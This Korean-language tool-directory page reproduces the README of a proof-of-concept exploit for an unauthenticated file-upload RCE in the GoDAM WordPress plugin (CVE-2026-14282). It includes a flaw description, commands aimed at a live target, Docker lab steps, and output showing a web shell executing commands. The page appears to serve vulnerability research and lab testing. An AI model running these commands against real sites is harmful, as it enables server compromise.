Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-14282 — GoDAM WordPress plugin <= 1.12.2 unauthenticated file upload RCE (CVE-2026-14282) | Kitploit
도구/GitHubGitHub/nullwhisper/cve-2026-14282
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLabs & Practice
GitHubnullwhisper/cve-2026-14282

CVE-2026-14282

GoDAM WordPress plugin <= 1.12.2 unauthenticated file upload RCE (CVE-2026-14282)

저장소 보기
18일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-14282 — GoDAM WordPress 플러그인 <= 1.12.2 인증되지 않은 파일 업로드 -> RCE

저자: nullwhisper
사용 용도: 승인된 보안 연구 / 취약점 검증 전용입니다.

이 취약점은 무엇인가?

GoDAM WordPress 플러그인 <= 1.12.2 버전은 godam_record라는 WPForms 필드를 등록합니다. 업로드 핸들러 save_video_file()은 공개 wpforms_process_before_filter 액션에 연결되어 인증 확인보다 먼저 실행됩니다. 이 핸들러는 공격자가 제어하는 Content-Type 헤더를 신뢰하며, MIME 타입이 video/로 시작하기만 하면 PHP 파일을 허용한 뒤 웹에서 접근 가능한 디렉토리인 wp-content/uploads/godam/wpforms/로 이동시킵니다. 이를 통해 인증되지 않은 공격자가 임의의 PHP 코드를 업로드하고 실행할 수 있습니다.

  • CVE: CVE-2026-14282
  • 제품: GoDAM WordPress 플러그인
  • 영향받는 버전: <= 1.12.2
  • 수정 버전: 2.0.0
  • 유형: RCE로 이어지는 인증되지 않은 임의 파일 업로드
  • CVSS: 9.8 (치명적)

참고 자료

  • IONIX 권고: https://www.ionix.io/threat-center/cve-2026-14282/
  • CVE 레코드: https://www.cve.org/CVERecord?id=CVE-2026-14282
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-14282
  • WordPress.org 플러그인 페이지: https://wordpress.org/plugins/godam/

파일 구조

root@kitploit:~
.
├── cve_2026_14282_poc.py   # Main PoC
├── lab/
│   ├── docker-compose.yml  # WordPress lab
│   └── setup.php           # Creates a WPForms form with GoDAM field
├── requirements.txt
└── README.md

설치

root@kitploit:~
pip3 install -r requirements.txt

사용법

실제 대상

root@kitploit:~
python3 cve_2026_14282_poc.py -u https://target.com/page-with-form

스크립트는 WPForms 양식 ID와 GoDAM 필드 ID를 자동으로 감지합니다. 페이지에 여러 양식이 있거나 감지에 실패한 경우 다음을 사용하세요:

root@kitploit:~
python3 cve_2026_14282_poc.py -u https://target.com/page-with-form \
    --form-id 4 --field-id 1 --cmd "whoami"

로컬 실습 환경

  1. 취약한 플러그인을 다운로드합니다 (바이너리를 재배포하지 마세요):

    root@kitploit:~
    mkdir -p lab/wpforms-lite lab/godam
    cd lab/wpforms-lite
    wget https://downloads.wordpress.org/plugin/wpforms-lite.latest-stable.zip
    unzip wpforms-lite.latest-stable.zip
    rm wpforms-lite.latest-stable.zip
    cd ../godam
    wget https://downloads.wordpress.org/plugin/godam.1.12.2.zip
    unzip godam.1.12.2.zip
    rm godam.1.12.2.zip
    cd ../..
    
  2. 실습 환경을 시작합니다:

    root@kitploit:~
    cd lab
    docker compose up -d
    
  3. http://127.0.0.1:8092에서 WordPress 설치 프로그램을 완료합니다.

  4. 플러그인을 설치하고 활성화한 다음 양식과 테스트 페이지를 생성합니다:

    root@kitploit:~
    docker exec -i lab-wpcli-1 wp plugin activate wpforms-lite --allow-root
    docker exec -i lab-wpcli-1 wp plugin activate godam --allow-root
    docker exec -i lab-wpcli-1 php /tmp/setup.php
    
  5. PoC를 실행합니다:

    root@kitploit:~
    python3 cve_2026_14282_poc.py -u 'http://127.0.0.1:8092/?page_id=7' --cmd 'echo PWNED'
    

localhost에서 검증됨

WordPress 6.8 + WPForms Lite 최신 버전 + GoDAM 1.12.2에서 테스트했습니다.

root@kitploit:~
[*] Detecting WPForms form and GoDAM field...
[*] Found form ID 4, GoDAM field(s): 1
[*] Trying upload via field 1...
[+] Shell uploaded and executed: http://127.0.0.1:8092/wp-content/uploads/godam/wpforms/godam-shell.php
[+] Output: GODAM-RCE-Linux ... uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Command output:
GODAM-RCE-Linux ... PWNED

플러그인 바이너리를 포함하지 않는 이유

이 저장소에는 PoC와 실습 환경 오케스트레이션 파일만 포함되어 있습니다. 취약한 플러그인 바이너리는 저장소 비대화와 배포 문제를 피하기 위해 제외했습니다. 자체 실습 환경을 위해 WordPress.org에서 특정 취약 버전을 다운로드하세요.

면책 조항

이 도구는 승인된 보안 테스트 및 연구 전용입니다. 소유하지 않았거나 명시적으로 테스트 허가를 받지 않은 시스템에는 사용하지 마세요. 작성자는 이 코드로 인한 오용 또는 피해에 대해 책임을 지지 않습니다.

도구 다운로드